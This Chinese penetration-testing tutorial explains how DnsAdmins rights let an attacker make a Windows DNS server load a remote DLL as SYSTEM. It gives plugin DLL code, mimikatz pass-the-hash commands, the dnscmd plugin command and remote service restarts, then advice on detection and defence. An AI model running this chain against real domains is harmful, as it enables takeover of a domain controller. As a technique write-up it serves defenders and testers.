域渗透——利用dnscmd在DNS服务器上实现远程加载Dll

作者:???深圳市网安计算机安全检测技术有限公司 2019/06/10 10:53:19 166次阅读 国际
文章来源:https://www.4hou.com/penetration/18447.html

0x00 前言

????????由Shay Ber公开的一个利用方法,在域环境中,使用DNSAdmin权限能够在DNS服务器上实现远程加载Dll。这不算漏洞,但可以作为一个域渗透的技巧,本文将结合自己的经验整理这个利用技巧,添加自己的理解,对照利用思路给出防御建议。

参考资料:

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

0x01 简介

本文将要介绍以下内容:

·?详细利用方法

·?防御思路

0x02 详细利用方法

利用条件:

已获得域内DnsAdmins,Domain Admins或者Enterprise Admins组内用户的口令或者hash

注:

默认配置下,不仅仅是DnsAdmins组内的用户,Domain Admins或者Enterprise Admins组内的用户也可以

1、查看关键组内的用户

查看所有的组:

net?group?/domain

查看DnsAdmins组内的用户:

无法使用net group命令查看,可以使用PowerView查看

import-module?.\PowerView.ps1
Get-NetGroupMember?-GroupName?"DNSAdmins"

查看Domain Admins组内的用户:

net?group?"Domain?Admins"?/domain

查看Enterprise Admins组内的用户:

net?group?"Enterprise?Admins"?/domain

2、获得关键用户的口令或者hash

需要获得DnsAdmins,Domain Admins或者Enterprise Admins组内任一用户的口令或者hash。

3、准备Payload.dll

需要定义三个导出函数:

·?DnsPluginInitialize

·?DnsPluginCleanup

·?DnsPluginQuery

定义导出函数可以参考之前开源的工程:

https://github.com/3gstudent/Add-Dll-Exports

这里使用def文件的方式声明导出函数,测试代码如下:

dllmain.cpp:

DWORD?WINAPI?DnsPluginInitialize(PVOID?a1,?PVOID?a2)
{
	return?0;
}

DWORD?WINAPI?DnsPluginCleanup()
{
	return?0;
}

DWORD?WINAPI?DnsPluginQuery(PVOID?a1,?PVOID?a2,?PVOID?a3,?PVOID?a4)
{
	WinExec("calc.exe",?SW_SHOWNORMAL);
	return?0;
}

BOOL?APIENTRY?DllMain(HMODULE?hModule,
	DWORD??ul_reason_for_call,
	LPVOID?lpReserved
)
{
	switch?(ul_reason_for_call)
	{
	case?DLL_PROCESS_ATTACH:
	case?DLL_THREAD_ATTACH:
	case?DLL_THREAD_DETACH:
	case?DLL_PROCESS_DETACH:
		break;
	}
	return?TRUE;
}

.def文件:

EXPORTS
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery

编译生成testdns.dll。

4、Payload.dll保存的位置

需要能被DNS服务器远程访问。

这里可以使用域内共享文件夹SYSVOL,默认所有的域用户都能访问。

更多细节可参考之前的文章:《域渗透——利用SYSVOL还原组策略中保存的密码》

我的测试域环境名称为test.com,使用的域内共享文件夹路径为:\\test.com\SYSVOL\test.com\scripts\testdns.dll

5、准备dnsadmin

通常,域内的Windows主机不支持dnsadmin命令。

默认安装的系统:

·?Windows Server 2003

·?Windows Server 2008

·?Windows Server 2003 R2

·?Windows Server 2008 R2

·?Windows Server 2012

·?Windows Server 2003 with SP1

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)

Win7系统在使用时需要安装Remote Server Administration Tools (RSAT)

这里介绍在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd命令的方法:

(1)将dnscmd.exe保存在C:\Windows\System32下

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe

(2)将dnscmd.exe.mui保存在C:\Windows\System32\en-US下

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

注:

dnscmd.exe和dnscmd.exe.mui是在我的测试系统(Windows Server 2008 R2x64)中获得的。

方法细节可参考之前的文章《域渗透——DNS记录的获取》

6、启动dnscmd

dnscmd不支持输入凭据进行远程操作的功能,这里需要使用mimikatz的Over pass the hash功能。

测试环境已获得关键用户的信息如下:

用户名:Administrator 口令:DomainAdmin456! hash:A55E0720F0041193632A58E007624B40

命令行下执行:

mimikatz.exe?privilege::debug?"sekurlsa::pth?/user:Administrator?/domain:test.com?/ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个cmd.exe,在cmd.exe中执行dnscmd命令即可。

也可以实现自动化输入:

命令行下执行:

mimikatz.exe?privilege::debug?"sekurlsa::pth?/user:Administrator?/domain:test.com?/ntlm:A55E0720F0041193632A58E007624B40?/run:\"cmd.exe?/c?c:\test\1.bat\""

c:\test\1.bat中保存dnscmd的命令。

7、使用dnscmd命令

DNS服务器的IP:192.168.10.1

命令行执行:

dnscmd?192.168.10.1?/config?/serverlevelplugindll?\\test.com\SYSVOL\test.com\scripts\testdns.dll

对于DNS服务器来说,此时会新建一个注册表项。

位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

·?ServerLevelPluginDll

·?REG_SZ

·?\\test.com\SYSVOL\test.com\scripts\testdns.dll

8、重启DNS服务后会加载dll

等待DNS服务器重启。

或者远程重启DNS服务器:

sc?\\192.168.10.1?stop?dns
sc?\\192.168.10.1?start?dns

DNS服务器的后台进程如下图:

域渗透——利用dnscmd在DNS服务器上实现远程加载Dll

dns.exe将会多次调用testdns.dll,权限为System。

9、实际利用

实际环境中,通常DNS服务器和域控制器是同一台主机

0x03 防御建议

1、控制权限

避免关键用户凭据被攻击者获得。

这里可以使用PowerView查看关键用户登陆过哪些主机。

import-module?.\PowerView.ps1
Invoke-UserHunter?-UserName?AdministratorUser

2、监控和设置注册表

位置:KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

利用dnscmd在DNS服务器上实现远程加载Dll时,会以System权限修改注册表,如果修改注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\的ACL(Access Control List),删除System用户的Set Value权限,能够阻止这个方法的利用。

如下图:

域渗透——利用dnscmd在DNS服务器上实现远程加载Dll

但有可能影响其他正常功能,该注册表项下的其他键值信息如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
????GlobalQueryBlockList????REG_MULTI_SZ????wpad\0isatap
????EnableGlobalQueryBlockList????REG_DWORD????0x1
????PreviousLocalHostname????REG_SZ????WIN-F08C969D7FM.test.com
????BootMethod????REG_DWORD????0x3
????AdminConfigured????REG_DWORD????0x1

3、查看日志

(1)记录DNS服务的启动和停止

位置:Application and Services Logs->DNS Server

命令行查看:

wevtutil?qe?"dns?server"?/rd:true?/f:text

ID为2代表DNS服务启动,ID为4代表DNS服务关闭。

(2)记录添加Dll的操作

需要使用增强版的DNS日志记录和诊断功能,Server2016默认支持,Server2012需要安装补丁2956577

参考文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)

补丁说明:

https://support.microsoft.com/en-us/help/2956577/update-adds-query-logging-and-change-auditing-to-windows-dns-servers

补丁下载:

https://www.catalog.update.microsoft.com/Search.aspx?q=2956577

添加Dll的操作会产生ID为541的日志

0x04 小结

本文介绍了利用dnscmd在DNS服务器上实现远程加载Dll的方法,结合利用思路给出防御建议。


指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室